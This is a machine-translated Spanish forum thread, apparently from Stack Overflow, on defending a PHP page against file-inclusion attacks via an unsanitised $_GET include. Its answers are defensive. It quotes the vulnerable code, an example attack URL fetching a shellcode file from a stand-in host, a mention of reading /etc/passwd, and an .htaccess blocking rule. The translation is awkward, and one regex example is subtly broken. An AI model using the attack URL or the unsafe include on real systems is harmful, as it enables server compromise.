protegerse - La mejor forma de evitar la inyección de código en PHP
proteger php contra sql injection (10)
@pek - Eso no funcionará, ya que las teclas de su matriz son 0 y 1, no ''casa'' y ''página''.
Este código debería ser el truco, creo:
<?php
$whitelist = array(
''home'',
''page'',
);
if(in_array($_GET[''page''], $whitelist)) {
include($_GET[''page''] . ''.php'');
} else {
include(''home.php'');
}
?>
Como tiene una lista blanca, tampoco debería haber necesidad de file_exists()
.
Mi sitio web fue atacado recientemente, lo que me pareció un código inocente:
<?php
if ( isset( $ _GET[''page''] ) ) {
include( $ _GET[''page''] . ".php" );
} else {
include("home.php");
}
?>
No hay llamadas de SQL, así que no tenía miedo de la inyección de SQL. Pero, aparentemente, SQL no es el único tipo de inyección.
Este sitio web tiene una explicación y algunos ejemplos de cómo evitar la inyección de código: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html
¿Cómo protegerías este código de la inyección de código?
Algunas buenas respuestas hasta ahora, también vale la pena señalar un par de detalles de PHP:
Las funciones abiertas de archivos usan wrappers para admitir diferentes protocolos. Esto incluye la capacidad de abrir archivos a través de una red local de Windows, HTTP y FTP, entre otros. Por lo tanto, en una configuración predeterminada, el código en la pregunta original puede usarse fácilmente para abrir cualquier archivo arbitrario en Internet y más allá; incluyendo, por supuesto, todos los archivos en los discos locales del servidor (que el usuario de webbserver puede leer). /etc/passwd
siempre es divertido.
El modo seguro y open_basedir
se pueden usar para restringir el open_basedir
a archivos fuera de un directorio específico.
También es útil la configuración de configuración allow_url_fopen
, que puede deshabilitar el acceso URL a los archivos, cuando se utilizan las funciones de apertura de archivos. ini-set
se puede usar para establecer y desarmar este valor en tiempo de ejecución.
Estos son todos buenos protectores de seguridad de retroceso, pero utilice una lista blanca para la inclusión de archivos.
La regla n. ° 1 al aceptar la entrada del usuario siempre es desinfectarla. Aquí, no estás desinfectando tu página con la variable GET antes de pasarla a incluir. Debe realizar una comprobación básica para ver si el archivo existe en su servidor antes de incluirlo.
Otra forma de desinfectar la entrada es asegurarse de que solo estén permitidos los caracteres (no "/", ".", ":", ...). Sin embargo, no use una lista negra para los caracteres incorrectos , sino una lista blanca para los caracteres permitidos:
$page = preg_replace(''[^a-zA-Z0-9]'', '''', $page);
... seguido de un archivo_existe.
De esta forma, puede asegurarse de que solo se ejecuten los scripts que desea ejecutar (por ejemplo, esto excluiría un "blabla.inc.php", porque "." No está permitido).
Nota: Esto es como un "hack", porque entonces el usuario podría ejecutar "home" y le daría a la página "home", porque lo único que hace es eliminar todos los caracteres prohibidos. No tiene la intención de detener a los "chalados" que quieren cosas lindas con su página, pero evitará que la gente haga cosas realmente malas .
Por cierto: otra cosa que podrías hacer en tu archivo .htaccess es prevenir intentos de ataque obvios:
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]
De esta forma, todos los accesos de página con "http:" url (y cadena de consulta) dan como resultado un mensaje de error "Prohibido", sin llegar siquiera al script php. Eso resulta en menos carga del servidor.
Sin embargo, tenga en cuenta que no se permite "http" en la cadena de consulta. Su sitio web PUEDE PEDIRLO en algunos casos (quizás al completar un formulario).
Por cierto: si puedes leer alemán: también tengo una publicación en el blog sobre ese tema.
Pek, hay muchas cosas de las que preocuparse por una adición a la inyección sql, o incluso diferentes tipos de inyección de código. Ahora podría ser un buen momento para mirar un poco más hacia la seguridad de las aplicaciones web en general.
De una pregunta anterior sobre cómo pasar del escritorio al desarrollo web , escribí:
La Guía de OWASP para crear aplicaciones web seguras y servicios web debería ser una lectura obligatoria para cualquier desarrollador web que desee tomar en serio la seguridad (que deberían ser todos los desarrolladores web). Hay muchos principios a seguir que ayudan con la mentalidad requerida cuando se piensa en la seguridad.
Si leer un gran documento no es para usted, eche un vistazo al video del seminario que Mike Andrews dio en Google hace un par de años sobre How To Break Web Software .
Piensa que la URL está en este formato:
www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt
Si el shellcode.txt ejecuta una inyección SQL o PHP, entonces su sitio web estará en riesgo, ¿no? Piensa en esto, usar una lista blanca sería de ayuda.
Hay una forma de filtrar todas las variables para evitar el pirateo. Puede usar PHP IDS o OSE Security Suite para ayudar a evitar el pirateo. Después de instalar la suite de seguridad, debe activar la suite, aquí está la guía:
http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html
Sugeriría que active la capa 2 de protección, luego todas las variables POST y GET serán filtradas, especialmente la que mencioné, y si se encuentran ataques, se lo informará inmediatamente /
La seguridad es siempre la prioridad
Sé que esta es una publicación muy antigua y espero que ya no necesites una respuesta, pero sigo echando de menos un aspecto muy importante y me gusta compartirlo con otras personas que leen esta publicación. En su código para incluir un archivo basado en el valor de una variable, establece un vínculo directo entre el valor de un campo y el resultado solicitado (la página se convierte en page.php). Creo que es mejor evitar eso. Hay una diferencia entre la solicitud de una página y la entrega de esa página. Si haces esta distinción, puedes utilizar URL agradables, que son muy amigables para el usuario y SEO. En lugar de un valor de campo como ''página'', podría crear una URL como ''Spinoza-Ethica''. Esa es una clave en una lista blanca o una clave principal en una tabla de una base de datos y devolverá un nombre de archivo o valor codificado. Ese método tiene varias ventajas además de una lista blanca normal:
la respuesta del back-end es efectivamente independiente de la solicitud del front-end. Si desea configurar su sistema de fondo de manera diferente, no tiene que cambiar nada en la interfaz.
Siempre asegúrese de terminar con nombres de archivos codificados o un equivalente de la base de datos (preferiblemente un valor de retorno de un procedimiento almacenado), ya que es un problema cuando utiliza la información de la solicitud para generar la respuesta.
Debido a que sus URL son independientes de la entrega desde el back-end, nunca tendrá que volver a escribir sus URL en el archivo htAccess para este tipo de cambio.
Las URL representadas para el usuario son fáciles de usar e informan al usuario sobre el contenido del documento.
Las URL agradables son muy buenas para SEO, porque los motores de búsqueda están en busca de contenido relevante y cuando tu URL está en línea con el contenido obtendrá una mejor tasa. Por lo menos, una tasa mejor cuando su contenido definitivamente no está en línea con su contenido.
Si no enlaza directamente a un archivo php, puede traducir la buena URL a cualquier otro tipo de solicitud antes de procesarla. Eso le da al programador mucha más flexibilidad.
Tendrá que desinfectar la solicitud, porque obtiene la información de una fuente estándar poco confiable (el resto de la Web). Usar solo URL agradables como entrada posible hace que el proceso de desinfección de la URL sea mucho más simple, porque puede verificar si la URL devuelta cumple con su propio formato. Asegúrese de que el formato de la buena URL no contenga caracteres que se utilicen extensamente en exploits (como '','', <,>, -, & ,; etc.).
Supongo que tratas con archivos en el mismo directorio:
<?php
if (isset($_GET[''page'']) && !empty($_GET[''page''])) {
$page = urldecode($_GET[''page'']);
$page = basename($page);
$file = dirname(__FILE__) . "/{$page}.php";
if (!file_exists($file)) {
$file = dirname(__FILE__) . ''/home.php'';
}
} else {
$file = dirname(__FILE__) . ''/home.php'';
}
include $file;
?>
Esto no es muy bonito, pero debería solucionar su problema.
Use una lista blanca y asegúrese de que la página esté en la lista blanca:
$whitelist = array(''home'', ''page'');
if (in_array($_GET[''page''], $whitelist)) {
include($_GET[''page''].''.php'');
} else {
include(''home.php'');
}
pek, para una solución a corto plazo, aplique una de las soluciones sugeridas por otros usuarios. Para un plan de mediano a largo plazo, debería considerar migrar a uno de los marcos web existentes. Manejan todas las cosas de bajo nivel, como el enrutamiento y la inclusión de archivos de manera confiable y segura, para que pueda concentrarse en las funciones principales.
No reinventes la rueda. Usa un marco. Cualquiera de ellos es mejor que ninguno. La inversión de tiempo inicial en aprender devuelve casi al instante.